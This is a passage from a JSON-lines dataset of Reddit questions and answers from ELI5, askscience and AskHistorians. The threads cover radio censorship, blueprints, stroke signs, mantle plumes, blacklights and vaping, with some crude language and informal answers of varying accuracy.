You wouldn't ever think about listening to cocaine if you can't hear weed", "Maybe because \"weed\" is slang while \"cocaine\" is technical? Perhaps by some stretch of the imagination they think that slangy drug references encourage use as opposed to using the proper term. ", "Weed is schedule 1 which means it's the most evil thing possible. Cocaine is schedule 2, which means it has useful medicinal properties. It's not evil, just sometimes abused kids!", "In the Jay Z version of \"Empire State of Mind\" ... \"Rock\" is bleeped out on the radio when he says \"welcome to the melting pot, corner's where we sellin rock.\"  However, in the version with just Alicia Keys the part \"Such a melting pot, on the corner selling rock preachers pray to god.\" is left completely untouched.  Such bullshit.  Where's the consistency?", "Cocaine is also the elites drug of choice. If you examine punishment for cocaine vs crack, cocaine use receives a generally low sentence compared to crack use.", "I find that censoring in the US is really random. Some radio stations do, others don't. I honestly wish they would sensor sirens because it scares the crap out of me everytime. ", "On the hip hop station around here they censor \"Uptown Funk\" by Marc Ronson featuring Bruno Mars.  \"Uptown _____ you up, uptown ____ you up\"    They censor the word \"funk.\"  ", "  The one that kills me the most on the radio in Canada is Gin and juice.  They blank out Indo and dont beep HOES.  Or what its like by Everlast.  A song with a meaning that might teach a kid something and they butcher it.  \"pulled out his ___ ___ talked some ___ and wound up ___\"", "* if she's down on her luck, she's pretty good for a fuck, for cocaine. \n\n* she's real good in bed, she'll even give you head, for cocaine. \n\n* she don't mind doing line after line, of cocaine. \n\n* she's a dirty ho, she'll never tell you no, for cocaine. \n\n* She'll lie flat on her back, for a little more Crack,  cocaine. \n\n* she don't mind doing line after line, of cocaine. ", "I actually thought about this last night.. I was at the cavs/bulls game where every song was heavily bleeped for drugs and swearing, except they played CoCo unchanged. I can just imagine all the little kids at home singing that they're in love with the coco.", "Havent you heard? You can't get to cocaine without [bleep].  [bleep]  is a \"gateway\" drug. So its better to just go straight to the source and nip it in the [bleep]. ", "My little brother used to love that song, when he was 3. One day when my mom was dropping my little brother to daycare, he started bawling because my mom listened to Clapton all the time and he knew the next track was Cocaine. So when they went inside my brother was still crying. The worker was like \"why are you so upset?\" His answer was \"I WANT COCAIIIINE!\" The looks my mother got...", "So former community radio program director here, and this is the number one thing I had to deal with.\nSo, like many have said, the FCC does have some rules governing content, and a lot of them seem like they don't apply here. So, as a quick breakdown, these are the rules that the FCC has for ALL radio stations:\n1. There are 2 categories of foul language: indecent and obscene.\n-indecent language includes some sexual language (like \"giving head\") and excrement words (like shit and piss) that are used as expletives (like, \"you are a piece of shit\" instead of \"i shit on your face\"). Indecent language can be aired during \"safe harbor hours\" which are officially 10pm to 5am, but many stations revise it back to Midnight to 5am. \n-Obscene language is excrement words (aforementioned shit and piss) used anatomically, as well as crude words for anatomy (cock, cunt, pussy, asshole) and Fuck. Fuck has recently been moved to indecent language as long as it is not used sexually, but most stations have stuck to the old rules for safety. These words can NEVER be aired.\n\nNow, there is one more rule for all stations, and it essentially addresses what you are talking about here. It's called \"community standards\". It's why if you are driving through a city with a significant African American population, you may here hip hop songs with the N-word uncensored, and if you drive through rural Montana, you will still hear the bleeped version of \"A boy named sue\". Community standards cover a lot of ground, and different stations, even in the same town, can have different rules. Some stations bleep \"goddamn\", others \"Bitch\" and some may remove drug references from contemporary songs. It literally comes down to what the management thinks will get them the least number of reports to the FCC. \nI'm glad that you brought up \"Cocaine\" specifically, because this is where the whole system falls apart: \"Classic\" songs often get a pass from just about everyone, because as a society we tend to institutionalize things with time and power. \"Who are you\" is a great example because it has two really solid \"Fuck\"s in it. Same with \"Rocks Off\". People don't find old stuff offensive, to the point where they don't hear the swears. Radio stations often have digital libraries of almost ALL the oldies, and they just throw them on willy nilly. Someone also brought up that the labels do a shitty job of censoring stuff, but often time that stuff is passed to the promoters, who have too many releases and too little time to censor, much less mark up, all the swears on an album. \nFinally, the FCC is not listening. period. they depend on your average citizen to report violations. Oftentimes the only people reporting these violations are, well, elderly or given to a worldview that promotes moral strictures on all things. This is why, despite likely airing one F-word per day, a College Radio Station has never been fined by the FCC, but they were RIGHT on it when Janet Jackson's nipple came out (sidenote: this is also why TV is way overcautious with censorship- more people watch TV than listen to the radio).\n\nSo...\n\ntl;dr/ELI5: there are basic swears and things that the FCC deals directly with, but mostly it's left up to \"community standards\", which are mostly decided by radio professionals. These professionals are often boomers/boomer-centric, and so classic rock songs get a pass while more modern music (ie. Hip Hop) gets the shaft, and nobody reports a goddamn thing unless millions of people see/hear it.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "64wi01", "title": "why are blueprints blue, and not another color?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/64wi01/eli5_why_are_blueprints_blue_and_not_another_color/", "answers": {"a_id": ["dg5krhp", "dg5ksyj", "dg5ntl4", "dg5q43g", "dg5qeuf", "dg5qg0d"], "score": [32, 192, 4, 2, 4, 3], "text": ["Originally blueprints were the only way of making copies of technical drawings and the process involved exposing the special paper to ammonia. I imagine that the interaction between the chemical coating of the paper and the ammonia produced the blue color, but I can't tell you the exact reason for it being blue and not another color.\n\nedit: Here is why they were blue:\n\nIn 1861, Alphonse Louis Poitevin, a French chemist, found that ferro-gallate in gum is light sensitive.[4] Light turns this to an insoluble permanent blue. A coating of this chemical on a paper or other base may be used to reproduce an image from a translucent document.\n\n_URL_0_", "Actually modern blueprints are black on white, but the name came from when they were white on blue.\n\nThis was because one of the earliest copy process resulted in white lines on blue background.\n\nWith architectural and engineering drawings where there a re lots of little details and accuracy is very important, making exact reproductions can be complicated and alternatives such as redrawing the entire thing with a pantograph or similar is not the ideal solution.  This is why such chemical copying processes where used in this area first before better methods that reproduced black on white as black on white where invented.", "well it would be a little silly if blueprints were green now wouldn't it?", "Yeah back in the day when \"drawings\" were drawn by humans. They would be drawn on sepia paper. A type of transluscent, see-thru paper. This would be wrapped on drum style printer that were used at the time which transferred the marked up sepia drawings onto a special reactive paper that was blue in appearance. Alcohol fumes would erase the blue except where the lines were and wallah. Blueprints were made. You could use the sepia to run many copies of the drawing kind of like a an original .pdf\nGod I'm old.", "As a side note to other people's correct answers the technical term is actually \"schematics\" and *blueprint* was just the early printing technique that was commonly used so the terms became synonymous.", "The process used to make blueprints is called Cyanotype. It works using a greenish blue solution of ammonium Iron citrate\u00a0and potassium ferricyanide. These 2 chemicals in solution are painted or soaked in to a surface, usually paper.\n\nNext, the design to be transferred is drawn on to transparent acetate film in black. Back before printers and computers engineers used to draw these by hand. The soaked paper and acetate are placed in an exposure machine which blasts the paper with UV light, but the areas which have been drawn in block the light.\n\nUV light makes the 2 compounds react. The important thing about the reaction is that it makes the parts exposed to the light harden and become insoluble in water. The parts that are covered don't react and can be washed away. \n\nLong story short blueprints are blue because the cyanotype process makes *blue prints*! Simple as that. Nowadays this process is not used in the engineering world because we have fancy computers to do the work for us, but many artists still use it for a particular a e s t h e t i c."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Blueprint"], [], [], [], [], []]}
{"q_id": "eyng5b", "title": "what is an e-girl?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eyng5b/eli5_what_is_an_egirl/", "answers": {"a_id": ["fgi6b58"], "score": [5], "text": ["A young girl who considers herself attractive who begs for money on the internet while wearing *just* enough clothing to not get banned...amusing she's on Twitch and not just making porn."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "c82utc", "title": "What evidence for understanding Shang society do we have?", "selftext": "What is the extant evidence for what Shang society was like? Is it the _Shiji_ plus archaeological artefacts, basically? What sort of material do we have in oracle bone script?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/c82utc/what_evidence_for_understanding_shang_society_do/", "answers": {"a_id": ["esjodxp"], "score": [7], "text": ["The oracle bone findings from Anyang are the primary source of information on the Shang dynasty. Because they were communications to deity, they cover a wide range of topics from harvesting crops to human sacrificial instructions and contain thousands of characters. [1] \n\nVirtually every work on the Shang dynasty references the oracle bones. Of course, the additional archeological artifacts and sites are vital for information, like the mass tomb in Anyang I mentioned in the other question about sacrifice.\n\nAs far as using the *Shiji* and other Han-period works, I'll defer to Gideon Shelach, professor of East Asian studies and archeologist specializing in Neolithic and Bronze Age of north China:\n\n*\"The problem common to all these primary sources is that they were written during the latter part of the Eastern Zhou (771-221 B.C.) and the Han (206 B.C.-A.D. 220) periods. Although these later sources may rely in part on older documents, knowledge of some aspects of the Shang period was lost during a thousand years of oral transmission ... Further, the historical texts reflect a view of non-Han people as inferior to the Han. This means that descriptions regarding non-Shang people are even less reliable than the other contents of these documents.\"*\n\nThe oracle bones are a fantastic resource and look into a bronze-age culture. They're similar to cuneiform or hieroglyphs in the sheer number of existing pieces and information.\n\nThanks for exploring the question further; I hope that helps!\n\n[1] Qiu, Xigui (2000). Chinese writing (Wenzixue gaiyao). Transl. by Gilbert L. Mattos and Jerry Norman. Berkeley: Society for the Study of Early China.\n\n[2] Shelach, Gideon. (1996). The Qiang and the Question of Human Sacrifice in the Late Shang Period. Asian Perspectives. Vol. 35, No. 1."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "13wc1y", "title": "This chain-status about Stroke indicators is going around Facebook, is this true?", "selftext": " > Stroke has a new indicator! \n\n > A neurologist says that if he can get to a stroke victim within 3 hours he can totally reverse the effects of a stroke...totally. He said the trick was getting a stroke recognized, diagnosed, and then getting the patient medically cared for within 3 hours, which is tough.\nRECOGNIZING A STROKE\nThank God for the sense to remember the '3' steps, STR. Read and\nLearn!\nSometimes symptoms of a stroke are difficult to identify. Unfortunately, the lack of awareness spells disaster. The stroke victim may suffer severe brain damage when people nearby fail to recognize the symptoms of a stroke.\nNow doctors say a bystander can recognize a stroke by asking three simple questions:\n\n > S *Ask the individual to SMILE.\n\n > T *Ask the person to TALK and SPEAK A\nSIMPLE SENTENCE (Coherently)\n(i.e. Chicken Soup)\n\n > R *Ask him or her to RAISE BOTH ARMS.\n\n > If he or she has trouble with ANY ONE of these tasks, call emergency number immediately and describe the symptoms to the dispatcher.\nNew Sign of a Stroke -------- Stick out Your Tongue\nNOTE: Another 'sign' of a stroke is this: Ask the person to 'stick' out his tongue. If the tongue is\n'crooked', if it goes to one side or the other that is also an indication of a stroke.\nA cardiologist says if everyone who gets this e-mail sends it to 10 people; you can bet that at least one life will be saved.\nI have done my part. Will you?\n\nSorry for the wall of text... ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13wc1y/this_chainstatus_about_stroke_indicators_is_going/", "answers": {"a_id": ["c77t964", "c77tccg", "c77tl8i"], "score": [3, 2, 2], "text": ["I sincerely doubt that he can totally reverse the effects of a stroke.\n\nAt any rate, the signs are valid. They look for the lopsided effects on motor control that is typical of strokes that affect the motor cortex. Asking someone to speak would also check for damage to the verbal areas of the brain.", "That STR acronym is cute, I'm going to remember that because yes, those are real symptoms of a stroke, along with checking for numbness, severe headache, and difficulty communicating. \n\n[Snopes has a good write up.](_URL_0_)", "The American Stroke Association states that the [warning signs for stroke are](_URL_0_), with the mnemonic of FAST:\n\n**F**ace Drooping-Does one side of the face droop or is it numb? Ask the person to smile.\n\n**A**rm Weakness-Is one arm weak or numb? Ask the person to raise both arms. Does one arm drift downward?\n\n**S**peech Difficulty-Is speech slurred, are they unable to speak, or are they hard to understand? Ask the person to repeat a simple sentence, like \"the sky is blue.\" Is the sentence repeated correctly?\n\n**T**ime to call 911-If the person shows any of these symptoms, even if the symptoms go away, call 9-1-1 and get them to the hospital immediately.\n\nThe tongue thing is simply ridiculous, as noted in the SNOPES article that someone posted. \n\nThe important thing is to get to the emergency room within 4-5 hours of onset of symptoms. The protocol is to inject [tPA, or tissue plasminogen activator](_URL_1_) before the expiration of that time period to break up any clots. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.snopes.com/medical/disease/stroke.asp"], ["http://www.strokeassociation.org/STROKEORG/WarningSigns/Stroke-Warning-Signs_UCM_308528_SubHomePage.jsp", "http://en.wikipedia.org/wiki/Tissue_plasminogen_activator"]]}
{"q_id": "8um0ks", "title": "weather conditions impact on the human body", "selftext": "A lot of people say when the weather changes e.x from very hot to rainy they say they feel grogy sleepy bbad etc.I didnt believe this as it didnt impact me that much but now i started _URL_0_ there any medical fact about this or  is it just psychological.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8um0ks/eli5_weather_conditions_impact_on_the_human_body/", "answers": {"a_id": ["e1gcygj"], "score": [4], "text": ["Can only speak from a personal standpoint, but my migraines are triggered from the weather. When the barometric pressure drops, I get severe migraines. I live in Southeast Georgia and it has been thunder storming for the past month with bouts of sun, this doesn\u2019t allow me to become acclimated to the low pressure before it levels out again (the struggle is real). I also just received a storm notification as I was typing this lol. "]}, "title_urls": [], "selftext_urls": ["noticing.Is"], "answers_urls": [[]]}
{"q_id": "6lxzai", "title": "when in a swimming pool or body of water what causes the high pitch sound to occur when our ears/throat are close to the surface of water?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6lxzai/eli5when_in_a_swimming_pool_or_body_of_water_what/", "answers": {"a_id": ["djy0a6b"], "score": [2], "text": ["\nOn a surface of water there are little to no obstructions meaning sound can travel further without interruption. \n\nCertain sounds like echoes also travel further and also merge with other noises which can come across as eerie pitches when combined. \n\nSo what you're hearing and parts of sound waves combined together all at once.\n\nSource: My dad when I was 11..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "24k72s", "title": "Do Mantle Plumes Originate From the Core-Mantle Boundary?", "selftext": "Hi, so I'm a young Earth Scientist and I keep reading contradictory articles about mantle plumes. I was wondering if someone could explain to me in reasonable detail why some scientists think they do and others think they don't?\n\nThe main points I am confused by are:\n\n* Geochemistry (Isotopes)\n* Seismic Imaging - why do some say you can image them and others say you can't?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/24k72s/do_mantle_plumes_originate_from_the_coremantle/", "answers": {"a_id": ["ch8aeto"], "score": [2], "text": ["The science behind mantle plumes is a little uncertain because we are making inferences about what's happening thousands of kilometers beneath the surface, which unavoidably introduces some error. There are some things we can know about that depth pretty well, but it obfuscates many things too.\n\nIt is, however, a perfectly reasonable hypothesis, at least, based on a few bits of pretty well-confirmed data.\n\n* Mantle Plumes would require a continuous source of heat, and temperatures increase the deeper you get into the Earth, so it makes sense they would originate from the core-mantle boundary, where temperatures for mantle rocks are the hottest on average. It couldn't be lower than the core-mantle boundary because the core material (Nickle/Iron) is too dense to rise to the surface, even through heating. This may be what you are thinking of by 'seismic imaging'... hard to say, since\" seismic imaging\" can reveal a whole heck of a lot about the Earth's interior. Some people have tried to directly \"image\" mantle plumes through seismology, but it's pretty tricky to pick up something as \"small\" as a mantle plume with modern equipment and methods. I believe these studies at least generally support the theory though.\n\n* Mantle Plumes by necessity must be stable for very long periods of time - many millions of years at a minimum for the vast majority. You can find evidence for this within the [Hawaiian island and seamount chain](_URL_0_), to just name just one among many. We know how fast the Pacific Plate is moving, and how fast it has been moving (roughly) in the past, and we can estimate the amount of material the Hawaiian Island hotspot has released over its lifespan - and these observations can only really be reconciled if the mantle plume is a highly stable multi-million year feature, with only rare changes. This stability is easiest to explain by a core-mantle boundary origin for the plumes. ~~If you believe in a young-earth, I won't belabor this point unless you want to pursue it, but suffice to say that as far as the non-young-earth scientific community is concerned, the age of mantle plumes fits very nicely into other lines of evidence for the core-mantle boundary theory of mantle plumes.~~ EDIT: re-reading your post, I think I mis-interpreted your first sentence. Sorry about that.\n\n* The whole isotope thing is IMO the weaker bit of evidence, but it's still arguably easiest to explain by a core-mantle boundary origin than the other theories out there. For example Helium-3 to Helium-4 ratio can be used to estimate the age of a substance, since Helium-3 is lost without any practically no way of it being produced naturally on Earth, while Helium-4 can be produced naturally. So the relationship between the amount of Helium-3 and Helium-4 in a material can be used to judge from what point in time the material came from. It's tricky though, since it requires some assumptions about the source rock. As far as I am aware, nobody has done anything especially conclusive regarding them yet.\n\nIt's too early to \"call it\" for the mantle plume theory, but it is really quite favored by the scientific community. It appears capable of explaining all the evidence we see, it is considered fairly intuitive by most scientists in the field, and it doesn't appear to be overly complicated. That's a pretty good sign, for what it's worth. The plate theory is a fairly distant second, with really no other option anywhere close to being as seriously considered as those two."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.uhh.hawaii.edu/~kenhon/geol205/chain/chnmap.jpg"]]}
{"q_id": "36820x", "title": "what happened to quiznos?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36820x/eli5_what_happened_to_quiznos/", "answers": {"a_id": ["crbkaie", "crbkm7t"], "score": [2, 2], "text": ["I liked their sandwiches a lot more than Subway, but I guess they couldn't compete with $5 footlongs.", "Quiznos occupies this weird place where it's viewed as better than dirt cheap food (Subway), but not by enough.\n\nThe people who might steer clear of a Subway aren't going to eat at Quiznos, they're going to eat at Panera, Potbelly, Firehouse, Jimmy John's, or their local deli.\n\nBecause of this, Quiznos don't get enough foot traffic, have razor-thin margins, and get crushed by the Subways on every corner in America.\n\nThat, in turn, leads to angry franchise owners who want Quiznos to pay for \"misleading\" them into opening a Quiznos. Which leads to a class-action lawsuit. Which leads to a Simpsons episode.\n\nWhen you're already on such a shaky foundation, and a recession like the one in 2009 rolls around, you close a lot of stores. They still haven't fully recovered."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "z2c3s", "title": "are there clocks on Curiosity and/or Voyager so we can measure gravitational time dilation?", "selftext": "if so how much difference is there between time in space and time on Earth?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/z2c3s/are_there_clocks_on_curiosity_andor_voyager_so_we/", "answers": {"a_id": ["c60urzs", "c60vypl"], "score": [29, 9], "text": ["We don't need to go as far as Curiosity or Voyager for that. The GPS satellites are affected by both special relativity (because they're moving quite fast relative to us) and general relativity (because they're farther away from a massive body than we are). The net result is that a clock on board the satellites would tick faster by 38 microseconds per day.", "If there is any type of processor on board there is a clock."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8li9yb", "title": "what are the gold stars next to peoples names for?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8li9yb/eli5_what_are_the_gold_stars_next_to_peoples/", "answers": {"a_id": ["dzfq770", "dzfq93o"], "score": [4, 2], "text": ["If you're talking about stars like in [this](_URL_0_) post, then it's Reddit Gold. It's something you can buy, and award to people who you think have done something deserving of more than just an upvote. It's one of the ways that Reddit gets money.", "You are probably talking about posts which were gilded. This happens when some user makes a post good enough that another poster is willing to spend actually money to reward them by giving them gold for the post to show their appreciation.\n\nThis however is per post, not per user.\n\nSome subreddits mark users who contribute something with special flairs. while others allow users to chose their flairs (especially in subreddits dedicated to sports or similar) which may get graphically represented as something like a star."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/pics/comments/8lfwjv/found_an_old_letter_sent_to_my_mother_who_was/"], []]}
{"q_id": "5y1cfi", "title": "why do guys have morning wood? and is there a variation of it for girls?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5y1cfi/eli5_why_do_guys_have_morning_wood_and_is_there_a/", "answers": {"a_id": ["demiolc", "demkfn7", "demm9ex", "demxggn", "den1g26", "den98cp", "denl4d2", "denn4xn", "denppzo", "deorezh"], "score": [436, 23, 1057, 16, 25, 97, 15, 2, 5, 2], "text": ["This other poster is incorrect, it has nothing to do with the bladder pressing on the prostate.\n\n > the absence of norepinephrine during the REM phase of the sleep causes erections. In women, this phenomenon is called Nocturnal clitoral tumescence while it is called Nocturnal penile tumescence in men.\n\nConsidering women have a similar phenomena, and dont have a prostate....it should be fairly obvious that this has nothing to do with a prostate...\n\n_URL_0_\n\nEDIT: Note that there is apparently some debate as to the exact reason for morning wood. The stimulation of the prostate is from a sentence on Wikipedia where citation is needed. While the cause is not entirely known, stimulation of the prostate is absurd", "Before I became sexually active (with anyone but myself) especially as a teenager, I would have REALLY sexual sensations in my dreams. I wouldnt necessarily come during these dreams, but because I was pretty  sexually frustrated my body would begin the sexual arousal process in my dreams. So, this is equatable to morning wood.", "Erections are stimulated by the parasympathetic nervous system causing Nitric oxide release within the corpora. This pro-erection process is counter-balanced by an anti-erection effect from the sympathetic nervous system. Normally, they cancel each other out. The Sympathetic nervous system activity dips in the small hours whilst you are asleep and the parasympathetic effect 'wins'. Coupled with a normal diurnal rise in testosterone levels; you get a stonking boner. \n\nSource: Urologist ", "Sometimes I wake up to me humping my mattress...that's my morning wood i guess?", "Though it is less common, women experience something similar! When aroused the clitoris has increased blood flow, and women can wake up with this still happening.", "The female equivalent is referred to euphemistically as \"morning dew\", because the female equivalent is unplanned lubrication.\n", "Girl here. We may not have the same physical \"wood\", exactly,  but yes, clitorises get hard. But I often wake up earlier than my partner and fade in and out of horny sleep until we're both awake enough.... by the time he wakes up I'm so damn ready. My understanding is that estrogen levels increase in early waking hours, which makes sense, because i come so much harder from morning sex. So, yes, i get morning wood. Very much so. ", "I suppose the equivalent for women would be called morning dew?", "I remember once hearing an explanation that was obviously just a joke but it always stuck with me. And it was basically that nobody really knows why we dream, or where dreams come from, so maybe an erect penis is actually an antenna where we receive our dreams. ", "On a slightly related note an ex-colleague of mine was convinced night time boners were there to act as a prop stopping you from rolling onto your front and suffocating.  There's just so much wrong with this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.google.com/webhp?sourceid=chrome-instant&amp;amp;ion=1&amp;amp;espv=2&amp;amp;ie=UTF-8#q=female+morning+wood&amp;amp"], [], [], [], [], [], [], [], [], []]}
{"q_id": "3c1qsg", "title": "Why do blacklights look fuzzy/blurry?", "selftext": "Does it have anything to do with the fact that it is emitting light at the edge/past the edge of the visible spectrum?  Or is it completely unrelated?  \n\nI'm just curious because every time in my life when I've seen a black light, it looks to be a very deep purple, but the light coming off of it looks \"fuzzy\" for lack of a better term.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3c1qsg/why_do_blacklights_look_fuzzyblurry/", "answers": {"a_id": ["csrll5n", "csrllc1", "csrm1e0", "csrnub4", "csrnywq", "csroib3"], "score": [8, 8, 23, 110, 6, 27], "text": ["I think it's just the [speckle pattern](_URL_0_) from diffraction off the bulb coating, nothing to do with UV region specifically or the eyes.", "[I think it's because of the distribution of cones capable of sensing blue being fewer and more disperse across the retina, as well as not being at the focal point of the eye.](_URL_0_)\n\n[Those same S type cones that see blue also see ultraviolet.](_URL_1_)", "A blacklight isnt emitting on the edge of the visible spectrum primarily. Quite a lot of the radiation is UV and invisible to the eye. You can test this: hold a uv filter in front of a blacklight. It doesnt change color,  but it will stop fluorescent objects from fluorescing. ", "2 reasons: 1) You don't have the nearly as many short wavelength detecting blue cones as you do red and green in your fovea. \n2) The angle of refraction is dependent on wavelength and short wavelengths get refracted more than relatively longer ones by your eye and therefore focus in front of your retina if you are myopic (nearsighted). The black lights are throwing off a ton of very short wavelength light and when coupled with the larger pupil you have in the dark it sets your eye up for a bunch of chromatic aberration. They should look clearer if you are hyperope or overcorrected in your myopic prescription, or if you view them at a closer distance. ", "Image of a blacklight:\n_URL_1_\n\n\nOk, that just a guess, but it could be explained by the violet filter used to block most of the visible light. \n\nThis filter let the violet pass, most likely partially absorb blue, and completely block the other colors.\n\nThis mean the glass enveloppe will play the role of a blue secondary light source that you observe on the edge. While in the center you mainly see the violet coming from the primary light source.\n\n\nThe intensity of the blue  is lower where the glass enveloppe is further from the primary light source, as seen on this image. The color slightly changes too since all blue wavelenght aren't equally absorbed. \n\n _URL_0_", "The crystalline lens fluoresces blue-white in black light. In a dark room, shining the light into your eye shows your pupil stark \"white\" like a t-shirt under party lights. \n\nFluorescing blue-white light scatters inside the crystalline lens and creates a halo of glare around anything radiating or reflecting the significant near-UV.\n\nSource: ophthalmic optics"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Speckle_pattern"], ["http://lea-test.fi/en/vistests/instruct/pv16/images/cone_cell.gif", "https://upload.wikimedia.org/wikipedia/commons/thumb/1/1e/Cones_SMJ2_E.svg/287px-Cones_SMJ2_E.svg.png"], [], [], ["https://upload.wikimedia.org/wikipedia/commons/thumb/6/67/Two_black_light_lamps.jpg/1920px-Two_black_light_lamps.jpg", "https://upload.wikimedia.org/wikipedia/commons/thumb/7/7c/BlackLightBulb4300ppx2.jpg/1280px-BlackLightBulb4300ppx2.jpg"], []]}
{"q_id": "9nk5pe", "title": "Law in Scotland in the seventeenth century", "selftext": "Hello!\n\nIm trying to research why Scotland had a change of legal system in the seventeenth century but I cant find many sources. Anyone know any books or where to aim my research?\n\nThank you!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9nk5pe/law_in_scotland_in_the_seventeenth_century/", "answers": {"a_id": ["e7muvin", "e7ndsal"], "score": [7, 2], "text": ["Where are you getting the idea Scotland had a change of legal system in the seventeenth century? I'm not saying its wrong as I'm not an expert on legal systems by any means but I've researched seventeenth century Scotland quite a lot. Though there certainly were a lot of changes, what with the Union of Crowns, Covenanter takeover, Cromwellian takeover, Restoration etc, I wasn't really aware of any particular decisive change in the legal system in the seventeenth century. Can you be more specific about what you're looking for? \n\nThe two books on Scottish law I can immediately think of are *Law, Lawyers and Humanism: Selected Essays on the History of Scots Law* edited by Elspeth Reid and  *Roman Law, Scots Law, and Legal History: Selected Essays* by William M Gordon.", "There was no change of basic legal system in Scotland in the 17th century. It retained its four bases. Most of the top institutions of Scottish law were set up in the 16th century and persisted through the 17th. But it would be equally wrong to say that the law passed a hundred years without change. Can you tell me more about what sort of change you're talking about? You mention the professions becoming 'divided'. What professions and divided how? Do you mean the profession of faith? Like the Westminster Profession and the splits it caused?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3i34o4", "title": "it said on bbc news that vapour pens are 95% better for you than cigarettes, what is the 5% that could be potentially bad for you?", "selftext": "Thanks for the answers, was unaware of the possible explosions.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3i34o4/eli5_it_said_on_bbc_news_that_vapour_pens_are_95/", "answers": {"a_id": ["cucuwtq", "cucw0nv", "cucwzsa", "cucxd7b", "cucxhdy", "cucxyls", "cucy2pe", "cucyocy", "cucytow", "cucywdw", "cucz8m9", "cud2lee", "cudetes", "cudi5c9", "cudpdbv", "cudwwjo"], "score": [15, 16, 2, 551, 52, 37, 22, 3, 3, 2, 2, 9, 6, 2, 6, 2], "text": ["There's several factors in the vape that can cause problems. Nicotine does constrict blood vessels which can lead to problems.\n\nYou also have to consider that not all devices are made the same. There have been reports I have seen in the past where there was lead and fiberglass used in the construction of the coils so heating them caused the chemicals to leak.", "Bad flavorings, allergic reactions, dry hits, nicotine overdose, misuse of equipment, and I'm sure more variables are what that 5% is comprised of. Plus nothing beats good old oxygen, of course in the right proportion :p", "Like others have said the 5% is from it not being governed so different parts and different chemicals used and what not. More importantly IMO is that we don't know the long term effects of vaping since its relatively new. Cigarettes been around forever and we know what it can do to you over your life time.\n", "There are generally 4 ingredients in vape liquid: Propylene Glycol (PG), Vegetable Glycerine (VG), Nicotine and some flavouring.  The flavouring itself might be a complex cocktail - it's seldom itemised on the label.  This is in contrast to cigarette, which smoke contains a huge variety of substances, some of which are toxic and/or carcinogenic.\n\nWhile both PG and VG are not particularly cytotoxic, they still coat your lungs, and these substances have to be metabolised away, quite possibly in large quantities (several grammes per day).  I'm not aware of any no long-term studies of how the lungs cope with this.\n\nNicotine itself is [implicated](_URL_0_) as a carcinogen and can lead to plaques forming within your veins.\n\nThe flavouring is a bit of an unknown quantity.  Depending on the ingredients, this could be bad for you to inhale.\n\nAll of these juice ingredients are vaporised by exposing them to a hot coil, which could cause some break-down in to toxic sub-components.\n\nThere are quite a few studies which suggest the quantities of toxic components in vape smoke are far less than those found in cigarette smoke, perhaps just 1% of the amount.\n\nOverall, to me, the \"just 5% as bad as cigarettes\" figure sounds a little cautious, but it's probably about right.", "1. nicotine has some side effects the most notable being constriction of blood vessels.(caffeine does the same thing though)\n\n2. PG allergies do exist but it is used in a lot of food products already.\n\n3. Inconsistency within manufacturing or coils and juice can lead to some unwanted chemicals/other stuff being present. Hopefully we can get some minor FDA regulation to fix these issues.\n\n4. Part of the percentage is assuming something bad will be found in the future. We don't quite have 20 year long term studies on inhalation of VG/PG/flavorings so we cannot scientifically rule out all negatives vs not vaping at all.\n\nWith all of these concerns or potential downsides vaping is much safer than all nicotine sans potentially Swedish snus.(which has been studied ad nauseum and found to be at least 90% safe) ", "That 5% is pure CYA. We don't have long term effects data for vaping, and there are quite a lot of variables in the *devices* that people use to vape, coupled with the tens of thousands of variants of *what* people vape. \n\nYou have to remember that this is a governmental public health organization, so they are ***never*** going to just flat out say \"x is 100% safer than y\" unless \"x\" is not doing anything at all. ", "My coworker is older and completely freaking out because they found a blood clot in her. They say it could be from a tumor. She's a heavy smoker too. I told her she needs to stop smoking and to switch to vaping. She said,\"I talked to my doctor about that, he doesn't recommend them.\" What the everlasting fuck? It's a lesser evil and it doesn't give you blood clots, strokes, or cancer. ", "If you google Dr Fasilikos (spelling?) You'll find a lot of research. The main concern at present is the contents of the flavouring, DA and AP have been found in lots of juices and can cause popcorn lung (google 5 Pawns DA AP for a recent reaction from the community). ", "But wouldn't it also depend on the type of device you're using as well? With a basic pen, not much vapor 